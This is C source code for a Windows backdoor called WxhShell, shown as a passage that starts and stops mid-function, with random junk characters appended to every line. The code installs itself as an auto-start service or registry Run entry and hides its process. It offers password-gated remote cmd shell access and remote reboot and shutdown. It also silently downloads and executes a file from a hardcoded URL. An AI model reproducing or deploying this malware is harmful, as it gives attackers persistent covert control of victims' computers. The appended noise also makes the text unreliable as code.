    if(Boot(SHUTDOWN)) 64s;EC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AK:cDKBO  
    else { $ [gN#QW%  
    closesocket(wsh); Y'v[2s  
    ExitThread(0); ] lB zpD  
    } 5xQ-f  
    break; Cf {F"o  
    } $ghZ<Y2}9  
  // 获取shell }3pM,.  
  case 's': { dmFn0J-\  
    CmdShell(wsh); NYm"I`5w  
    closesocket(wsh); !`DRJ)h  
    ExitThread(0); I \:WD"  
    break; <`H0i*|Ued  
  } ll:UIxx  
  // 退出 ZnG.::&:  
  case 'x': { V Z(/g"9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  bGRt  
    CloseIt(wsh); qQ@| Cj  
    break; 9U8M|W|d  
    } S,Y|;p<+^  
  // 离开 x 7j#@C  
  case 'q': { %)ho<z:7U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K,b M9>}  
    closesocket(wsh); 3DU1c?M:  
    WSACleanup(); Ndmt$(b  
    exit(1); &Y@i:O  
    break; }X(&QZ7i`  
        } +mQ5\14#  
  } u-_r2U  
  } Hbm 4oYN  
c_lHj#A(l  
  // 提示信息 >lI7]hbIs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {SoI;o_>  
} v4$/LUJZp  
  } UKS5{"=T[  
#c"eff  
  return; d,<ni"  
} mU'<:gL+  
RNg?o [S  
// shell模块句柄 96=<phcwN[  
int CmdShell(SOCKET sock) gI+8J.AG=  
{ FG?Mc'r&  
STARTUPINFO si; la!]Y-s)'4  
ZeroMemory(&si,sizeof(si)); .[|UNg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SZykG[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iD^,O)b  
PROCESS_INFORMATION ProcessInfo; Jt~Ivn,  
char cmdline[]="cmd"; hI[} -  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3jmo[<p*x  
  return 0; .@1+}0  
} -m@o\9Ic  
h`[$ Bp  
// 自身启动模式 ,75)  
int StartFromService(void) L/3A g* ]  
{ .RD<]BxJ  
typedef struct =c8}^3L~7  
{ 7"(!]+BW!O  
  DWORD ExitStatus; m|*B0GW  
  DWORD PebBaseAddress; _O9V"DM  
  DWORD AffinityMask;  Rr) 5 [  
  DWORD BasePriority; B2`S0 H  
  ULONG UniqueProcessId; VPLf(  
  ULONG InheritedFromUniqueProcessId; @]\fO)\f  
}   PROCESS_BASIC_INFORMATION; '&>"`q  
`lhw*{3A  
PROCNTQSIP NtQueryInformationProcess; AGBV7Kk  
exRw, Nk4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'Zx5+rM${}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ofvR0yV  
b)w cGBS  
  HANDLE             hProcess; 2u{~35  
  PROCESS_BASIC_INFORMATION pbi; w)btv{*  
k"wQ9=HP7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :]3X Ez  
  if(NULL == hInst ) return 0; 7 qKz_O  
!_I1=yi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); spK8^sh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bcIae0LZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iL/c^(1  
hlVye&;b8  
  if (!NtQueryInformationProcess) return 0; st'T._  
U(&c@u%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %nA})nA7=  
  if(!hProcess) return 0; F^!D[:;jK  
3m1g"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JWVV?~1  
JK,MK|  
  CloseHandle(hProcess);  hfB$4s9  
V&Y`?Edc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `Rq=:6U;3  
if(hProcess==NULL) return 0; 8|&,JdT  
-4Qub{Uym  
HMODULE hMod; #2Rz=QI  
char procName[255]; `/| *u  
unsigned long cbNeeded; }F08o,`?  
4pmeu:26  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =lacfPS  
dSI"yz  
  CloseHandle(hProcess); zzmC[,u}  
_,3ljf?WQM  
if(strstr(procName,"services")) return 1; // 以服务启动 "be\%W+<  
'nmGHorp  
  return 0; // 注册表启动 ':4cQ4Z  
} 7>hcvML  
unDW2#GX  
// 主模块 mh+T!v$[n)  
int StartWxhshell(LPSTR lpCmdLine) ew;;e|24  
{ mF~T?L"  
  SOCKET wsl; %h. zkocM  
BOOL val=TRUE; U~G7~L &m  
  int port=0; "8za'@D"f  
  struct sockaddr_in door; q(sTKT[V  
i4D(8;  
  if(wscfg.ws_autoins) Install(); bpu`'Vx  
Iu'9yb  
port=atoi(lpCmdLine); )\wkVAm  
PgtLyzc  
if(port<=0) port=wscfg.ws_port; Ku5||u.F4*  
sG g458  
  WSADATA data; Bwg(f_[1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uHbg&eW  
ixTjXl2g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jCd]ENl+_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]3r}>/2(  
  door.sin_family = AF_INET; Upz)iOqLi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _kKG%U.gbK  
  door.sin_port = htons(port); Y;w|Fvjj+  
44CZl{pt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oZ{,IZ45  
closesocket(wsl); HG"ZN)~  
return 1; RhYe=Qh4{p  
} ~DH 9iB  
J,$xQ?,wE  
  if(listen(wsl,2) == INVALID_SOCKET) { .jRI $vm  
closesocket(wsl); Y1r$;;sH  
return 1; 1 UQ,V`y  
} xU'z>y4V$  
  Wxhshell(wsl); XQ1]F{?/H  
  WSACleanup(); 18$d-[hX  
H3wJ5-q(  
return 0; q@.>eB'92P  
IIk_!VzT  
} Qt u;_  
rrIyZ@_d9  
// 以NT服务方式启动 A}fm).Wp@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hs6pp/h>  
{ M+"6VtZH  
DWORD   status = 0; #p+iwW-  
  DWORD   specificError = 0xfffffff; HDm]njF%qQ  
2gWR2 H@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wd:Yy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  9q X$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !ooi.Oz*Tu  
  serviceStatus.dwWin32ExitCode     = 0; '}agi.z  
  serviceStatus.dwServiceSpecificExitCode = 0; RO3LZBL  
  serviceStatus.dwCheckPoint       = 0; lpT&v ;$`  
  serviceStatus.dwWaitHint       = 0; OvH:3 "Sdy  
EBhdP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); # epP~J_f  
  if (hServiceStatusHandle==0) return; wv~:^v'  
@Y0ZW't  
status = GetLastError(); xMbgBx4+  
  if (status!=NO_ERROR) . !1[I{KU  
{ 3f =ZNJ>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sY<UJlDKT  
    serviceStatus.dwCheckPoint       = 0; r8"2C#  
    serviceStatus.dwWaitHint       = 0; = gF035  
    serviceStatus.dwWin32ExitCode     = status;  |q3X#s72  
    serviceStatus.dwServiceSpecificExitCode = specificError; t?hfP2&6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x'EEmjJ  
    return; Jm!,=} oP'  
  } ?HG[N7=j  
08\w!!a:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c b-IRGF  
  serviceStatus.dwCheckPoint       = 0; !mv5i%3  
  serviceStatus.dwWaitHint       = 0; QN*|_H@h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '2X$. ^aW  
} fz=8"cDR  
)at:Xm<s  
// 处理NT服务事件,比如:启动、停止 R*GBxJaw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H*]Vs=1  
{ >/ _#+,  
switch(fdwControl) R_!'=0}V  
{ l/k-` LeW  
case SERVICE_CONTROL_STOP: EIw] 9;'_  
  serviceStatus.dwWin32ExitCode = 0; Tm^kZuT{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~q`f@I  
  serviceStatus.dwCheckPoint   = 0; ;*?>w|t}w  
  serviceStatus.dwWaitHint     = 0; aOvqk ^  
  { cfmLErkp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,h=a+ja8  
  } ,^bgk -x-  
  return; B}[CU='P*  
case SERVICE_CONTROL_PAUSE: =!-}q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ge`GQ>  
  break; 'p5M|h\:T  
case SERVICE_CONTROL_CONTINUE: &~2m@X(o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NL]_;\ h  
  break; K/9Jx(I,qL  
case SERVICE_CONTROL_INTERROGATE: Cl '$*h  
  break; ]QlW{J  
}; rC@VMe|0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pZ8J\4+  
} G:*vV#K  
OROvy  
// 标准应用程序主函数 1v&!%9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !4Aj#`)  
{ 7R:j^"I@  
ezw*Lo!  
// 获取操作系统版本 "R5G^-<h p  
OsIsNt=GetOsVer(); YM`T"`f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S ,F[74K  
fTXip)n!r  
  // 从命令行安装 g}!{_z  
  if(strpbrk(lpCmdLine,"iI")) Install(); \me5"ZU  
-] wEk%j  
  // 下载执行文件 8XJi}YPQ  
if(wscfg.ws_downexe) { ECt<\h7}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OPN\{<`*d  
  WinExec(wscfg.ws_filenam,SW_HIDE);  kNK0KL  
} =F|9 ac9X  
5Pf=Uj6D  
if(!OsIsNt) { o2dO\$'  
// 如果时win9x,隐藏进程并且设置为注册表启动 1\}XL=BE  
HideProc(); Z,"4f*2  
StartWxhshell(lpCmdLine); .Wt3|?\=nd  
} %%ouf06.|  
else (Yz[SK=U}  
  if(StartFromService()) a0hBF4+6  
  // 以服务方式启动 ='jT 5Mg  
  StartServiceCtrlDispatcher(DispatchTable); j^=Eu r/  
else NWh1u`  
  // 普通方式启动 %}(` ?  
  StartWxhshell(lpCmdLine); JPn)Op6  
x^@oY5}cr  
return 0; D\G.p |9=  
} /a*){JQ5j  
F.U@8lr  
Gtaa^mnxD  
j4,y+ 9U  
=========================================== !Ew ff|v"  
T1qbb*  
XB7*S*"!  
;N#}3lpLqg  
|&"aZ!Kn  
7d R?70Sz  
" d4ecF%R  
~;9n6U  
#include <stdio.h> |K_%]1*riC  
#include <string.h> 0Xb\w^  
#include <windows.h> l<XYDb~op  
#include <winsock2.h> 4GP?t4][  
#include <winsvc.h> |dQz(z&6{5  
#include <urlmon.h> !-t w  
_{c_z*rM8  
#pragma comment (lib, "Ws2_32.lib") ATqblU>D  
#pragma comment (lib, "urlmon.lib") O|sk "YXF  
O)`L( x  
#define MAX_USER   100 // 最大客户端连接数 :+6W%B  
#define BUF_SOCK   200 // sock buffer hlL$3.]  
#define KEY_BUFF   255 // 输入 buffer  FkrXM!mJ  
h,FU5iK|  
#define REBOOT     0   // 重启 +rU{-`dy9'  
#define SHUTDOWN   1   // 关机 oc)`hg2=  
1N(#4mE=  
#define DEF_PORT   5000 // 监听端口 hYpxkco"4'  
QOEi.b8r  
#define REG_LEN     16   // 注册表键长度 B!pz0K*uG  
#define SVC_LEN     80   // NT服务名长度 zYV{ |Z  
61Cc? a*_  
// 从dll定义API mDz44XO   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b 9rQQS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "LlQl3"=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &(,\~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4/~x+tdc  
Jy/< {7j  
// wxhshell配置信息 i#>t<g`l  
struct WSCFG { ^85Eveu  
  int ws_port;         // 监听端口 Soq#cl'll-  
  char ws_passstr[REG_LEN]; // 口令 <qfAW?tF  
  int ws_autoins;       // 安装标记, 1=yes 0=no %W9R08`  
  char ws_regname[REG_LEN]; // 注册表键名 l,lqhq\  
  char ws_svcname[REG_LEN]; // 服务名 \{`^Q+<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qK7:[\T|?T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Ff}Y.4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g,]o+nT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ViiJDYT>E<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ('J@GTe@xj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aC`>~uX##V  
Vm<_e  
}; 7(]F+\A3  
4ams~  
// default Wxhshell configuration jUM'f24  
struct WSCFG wscfg={DEF_PORT, l,hOnpm9  
    "xuhuanlingzhe", U2m#BMV  
    1, ,V,mz?d^9  
    "Wxhshell", ya1 aWs~  
    "Wxhshell", (9RfsV4^  
            "WxhShell Service", f~wON>$K  
    "Wrsky Windows CmdShell Service", %B\x %e ;P  
    "Please Input Your Password: ", 3as=EYm  
  1, HhQ0>  
  "http://www.wrsky.com/wxhshell.exe", j~>{P=_}  
  "Wxhshell.exe" ^Zz^h@+  
    }; lS,Jo/T@  
zEU[u7%  
// 消息定义模块 wp&G]/4m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [-*&ZYp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @\w}p E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {)"[_<  
char *msg_ws_ext="\n\rExit."; V3ozaVk;  
char *msg_ws_end="\n\rQuit."; ]O@iT= *3  
char *msg_ws_boot="\n\rReboot..."; W9]z]6  
char *msg_ws_poff="\n\rShutdown..."; BeLD`4K  
char *msg_ws_down="\n\rSave to "; Rm=p}  
hUi@T}aA|  
char *msg_ws_err="\n\rErr!"; DAb/B  
char *msg_ws_ok="\n\rOK!"; r|UJJ9i  
tgKr*8t{  
char ExeFile[MAX_PATH]; pM@8T25=  
int nUser = 0; GqxnB k1  
HANDLE handles[MAX_USER]; dvjj"F'Bf  
int OsIsNt; f2x!cL|Kx?  
'27$x&6>S  
SERVICE_STATUS       serviceStatus; xx!8cvD4?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OUUV8K  
"jyo'r  
// 函数声明 D<69xT,  
int Install(void); _l9fNf!@  
int Uninstall(void); W"Y)a|rG%  
int DownloadFile(char *sURL, SOCKET wsh); y@7fR9hp<  
int Boot(int flag); I9 zs  
void HideProc(void); A]!0Z:{h%  
int GetOsVer(void); N\*oL*[j  
int Wxhshell(SOCKET wsl); <b H *f w  
void TalkWithClient(void *cs); nC p/.]Y*  
int CmdShell(SOCKET sock); k!x|oC0  
int StartFromService(void); 3h:~NL  
int StartWxhshell(LPSTR lpCmdLine); jzV"(p!  
73rme,   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r{v3 XD/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lo>9 \ Po  
- $<oY88  
// 数据结构和表定义 ) n O ^Ay  
SERVICE_TABLE_ENTRY DispatchTable[] = }R<t=):  
{ t9U6\ru  
{wscfg.ws_svcname, NTServiceMain}, 5NZuaN  
{NULL, NULL} Jm<NDE~rw  
}; qm!cv;}c1  
Lbrl CB+  
// 自我安装 `hO%(9V9  
int Install(void) 56z>/`=  
{ ?@4Mt2Z\  
  char svExeFile[MAX_PATH]; A#cFO)"  
  HKEY key; i'li;xUhZ  
  strcpy(svExeFile,ExeFile); B za<.E=  
XiTi3vCe  
// 如果是win9x系统,修改注册表设为自启动 nrKAK^  
if(!OsIsNt) { |p[Mp:^^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &Tt7VYJfIV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -+@N/d5  
  RegCloseKey(key); n#x_da-m]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]%D!-[C%1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pv5S k8  
  RegCloseKey(key); #aL.E(%  
  return 0; pRV.\*:c  
    } P^<3 Z)L  
  } K9EHT-  
} VQpt1cK*  
else { w>j5oz}  
CWkWW/ZI  
// 如果是NT以上系统,安装为系统服务 "}Om0rB}1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tcj "rV{G  
if (schSCManager!=0) <@(\z   
{ >u> E !5O  
  SC_HANDLE schService = CreateService b\ED<'  
  ( wA$7SWC  
  schSCManager, f4  S:L&  
  wscfg.ws_svcname, ]Ik~TW&  
  wscfg.ws_svcdisp, }&=l)\e  
  SERVICE_ALL_ACCESS, OU%"dmSDk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P_3IFHe  
  SERVICE_AUTO_START, VYb,Hmm>kC  
  SERVICE_ERROR_NORMAL, N9M}H#  
  svExeFile, TNqL ')f  
  NULL, 4j3_OUwWZx  
  NULL, 5go)D+6s  
  NULL, I[&x-}w  
  NULL, s U`#hL6;  
  NULL .5; JnJI  
  ); Pr} l y  
  if (schService!=0) =? !FO'zt"  
  { (E0WZ $f}  
  CloseServiceHandle(schService); )q_,V"  
  CloseServiceHandle(schSCManager); $V 3If  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L?nhm=D  
  strcat(svExeFile,wscfg.ws_svcname); MXaik+2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t#P7'9Se8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |.Vgk8oTl  
  RegCloseKey(key); v];YC6shx  
  return 0; [!%5(Ro_  
    } t`Bk2Cc)+  
  } } 9zi5 o8  
  CloseServiceHandle(schSCManager); wqDf\k}'v  
} VQ('ejv}/  
} 3y.+03 W  
k?7"r4Vc)S  
return 1; =Ya^PAj '}  
} 3\Xk)a_  
^Ak?2,xB#+  
// 自我卸载 @Dsw.@/  
int Uninstall(void) `/ T.u&QF  
{ 7fypUQ:y  
  HKEY key; IrYj#,xJ  
&I-:=ir  
if(!OsIsNt) { q0%QMut%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T^^7@\vDI  
  RegDeleteValue(key,wscfg.ws_regname); =M?+KbTJ3  
  RegCloseKey(key); }R+#>P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VvIUAn  
  RegDeleteValue(key,wscfg.ws_regname); q'S[TFMNE  
  RegCloseKey(key); +I uu8t  
  return 0; }OIe!  
  } %G(VYCeK  
} :7X4VHw/  
} ;Lfn&2G  
else { l7T?Yx j  
SVVEb6&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?wkT=mv  
if (schSCManager!=0) ILDO/>n  
{ D6lzc f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !)oQ9,N  
  if (schService!=0) ^"<Bk<b(  
  { DC).p'0VL  
  if(DeleteService(schService)!=0) { 2<UC^vZ  
  CloseServiceHandle(schService); 6k@F?qHS  
  CloseServiceHandle(schSCManager); ]/h$6mrL  
  return 0; '['%b  
  } uM 'n4oH  
  CloseServiceHandle(schService); *Jcd_D\-(1  
  } `%[m%Y9h  
  CloseServiceHandle(schSCManager); c86?-u')  
} }f;TG:6  
} /Zs_G=\>  
p}==aNZK  
return 1; "a;$uW@.6  
} 7@ONCG  
S ^~"#   
// 从指定url下载文件 , SUx!o  
int DownloadFile(char *sURL, SOCKET wsh) F}mt *UcMG  
{ GTbV5{Ss  
  HRESULT hr; E2}X[EoBF  
char seps[]= "/"; KJ/Gv#Kj  
char *token; &jEw(P&_  
char *file; /NB|N*}O)  
char myURL[MAX_PATH]; M3UC9t9]  
char myFILE[MAX_PATH]; J0k!&d8  
Tr>_R%bK  
strcpy(myURL,sURL); 9E5*%Hu_  
  token=strtok(myURL,seps); 8)iI=,T*  
  while(token!=NULL) zytW3sTZA  
  { GBZu<t/  
    file=token; m==DBh  
  token=strtok(NULL,seps); s w >B  
  } $27OrXQ|  
*lZ V3F  
GetCurrentDirectory(MAX_PATH,myFILE); 8[@Y`j8  
strcat(myFILE, "\\"); ~a  V5  
strcat(myFILE, file); L}Sb0 o.  
  send(wsh,myFILE,strlen(myFILE),0); tol-PJS}  
send(wsh,"...",3,0); hyPS 6Y'1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^3vI NF  
  if(hr==S_OK)  ,e 7 ~G  
return 0; }t(5n$go6  
else KRm)|bgE  
return 1; 9qi|)!!L  
07qjWo/t  
} o:UNSr  
)RFY2 }  
// 系统电源模块 '_DB0_Dp  
int Boot(int flag) GZ5DI+3  
{ 4VF]t X?o  
  HANDLE hToken; Zd)LVc[  
  TOKEN_PRIVILEGES tkp; $bpu  
>G?*rg4  
  if(OsIsNt) { Q+a&a]*KL^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !+Cc^{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TG?>;It&  
    tkp.PrivilegeCount = 1; 3LQ u+EsS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?^:5`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }|/<!l+;$  
if(flag==REBOOT) { [KGj70|~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \{*`-P v  
  return 0; `:ZaT('h  
} mV}8s]29  
else { _o?aO C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0ZD)(ps|  
  return 0; =<(6yu_  
} xzx~H>M  
  } 6e,IjocsB  
  else { Ao\OU}  
if(flag==REBOOT) { v8\_6}*I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E2o8'.~Yd`  
  return 0; (G{:O   
} ou)0tX3j  
else { { .i^&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rbgy?8#9  
  return 0; V@G|2ZI  
} UaXIrBc  
} ZZ}HgPZ  
B|^=2 >8s  
return 1; Wxj(3lg/  
} Wl&6T1A`"  
jv29,46K  
// win9x进程隐藏模块 UY *Z`$  
void HideProc(void) 66W J=? JV  
{ BUL<FTg  
Cvt/ot-J?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;&w_.j*Is  
  if ( hKernel != NULL ) n[a%*i6x  
  { LChwHkRHJI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P 2x.rukT|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `P|V&;}K  
    FreeLibrary(hKernel); 4e[ 0.2?  
  } (L1O;~$  
/_(l :q^  
return; e9k$5ps  
} ?6\A$?  
@v6{U?  
// 获取操作系统版本 {9F}2 SJ  
int GetOsVer(void) PM:u~D$Jd  
{ 7O=7lQ  
  OSVERSIONINFO winfo; 6h[fk.W_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F CfU=4O  
  GetVersionEx(&winfo); W-1Ub |8C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G&N),wsNZK  
  return 1; zLS?: yq  
  else 5C-n"8&C&  
  return 0; >Zm|R|{BE  
} &oVZ2.O#(  
k^UrFl  
// 客户端句柄模块 2mthUq9b*  
int Wxhshell(SOCKET wsl) Hb$wawy<  
{ J rYL8 1  
  SOCKET wsh; )q{e L$  
  struct sockaddr_in client; v~!_DD au  
  DWORD myID; 6l|SGt\  
Q^lgtb  
  while(nUser<MAX_USER) cR6 #$-a  
{ \S?;5LacZ  
  int nSize=sizeof(client); (iO/@iw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n5#9o},oK  
  if(wsh==INVALID_SOCKET) return 1; m0Uk*~Gz  
`LTD|0;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2F,?}jJ.K  
if(handles[nUser]==0) Ao9=TC'v$'  
  closesocket(wsh); riglEA[^  
else bwjLMWEVq  
  nUser++; t/x]vCP,2D  
  } b]Lp_t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :7qJ[k{g  
>hotkMX `3  
  return 0; }"^d<dvuz  
} c<)O#i@3/  
C !Lu`y  
// 关闭 socket y 0fI7:e3  
void CloseIt(SOCKET wsh) nhq,Y0YH  
{ =\jPnov!  
closesocket(wsh); Zr!CT5C5  
nUser--; te3\MSv;O  
ExitThread(0); y2x)<.cDP  
} _cc9+o  
LtDGu})1  
// 客户端请求句柄 >$A,B  
void TalkWithClient(void *cs) !?{%9  
{ C #@5:$  
kqS_2[=]  
  SOCKET wsh=(SOCKET)cs; =:^f6"p&Z  
  char pwd[SVC_LEN]; ueJ_F#y  
  char cmd[KEY_BUFF]; N!af1zj  
char chr[1]; iS8yJRy  
int i,j; ?trqe/  
W^9=z~-h  
  while (nUser < MAX_USER) { (=D^BXtH|  
kkV* #IZ  
if(wscfg.ws_passstr) { K./L'Me  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .|J-(J<>[.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >D$NEO^  
  //ZeroMemory(pwd,KEY_BUFF); 4g/Ly8  
      i=0; lJ4&kF=t  
  while(i<SVC_LEN) { 3)~z~p7  
3%V VG~[  
  // 设置超时 j2!^iGS}  
  fd_set FdRead; z]Mu8  
  struct timeval TimeOut; EDGAaN*Q  
  FD_ZERO(&FdRead); p~t5PU*(  
  FD_SET(wsh,&FdRead); +JBYGYN&K  
  TimeOut.tv_sec=8; b@N*W]  
  TimeOut.tv_usec=0; + gP 4MP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F='rGQK!1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }mQh^  
q;qY#wD@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JiHk`e`  
  pwd=chr[0]; eRwm>l"fVV  
  if(chr[0]==0xd || chr[0]==0xa) { ^Ea^t.c}_  
  pwd=0; P*8DM3':  
  break; )@.6u9\  
  } cvv(OkC  
  i++; Iqm QQ_KH  
    } E\=23[0  
%y2 i1^  
  // 如果是非法用户,关闭 socket { BDUl3T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 92D f.xI}  
} pr"~W8  
h*X u/aOg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gK"E4{y_@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JNgl  
S"joXmJ/-C  
while(1) { b+ v!3|  
J*'#! xIa  
  ZeroMemory(cmd,KEY_BUFF); "( P-VX  
D4CiB"g3*  
      // 自动支持客户端 telnet标准   x4bj?=+  
  j=0; 7<3eB)S  
  while(j<KEY_BUFF) { UZRCJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C{Er%  
  cmd[j]=chr[0]; ;K<W<v5m0N  
  if(chr[0]==0xa || chr[0]==0xd) { N2S7=`5/T  
  cmd[j]=0; roG f &  
  break; n g?kl|VG  
  } ZzV%+n7<Vx  
  j++; :f58JLX  
    } M%Dv-D{  
qHQ#^jH  
  // 下载文件 = ^A/&[&31  
  if(strstr(cmd,"http://")) { JRl`evTS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lCMU{)  
  if(DownloadFile(cmd,wsh)) q`DilZ]S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  d365{  
  else )'gO?cN  
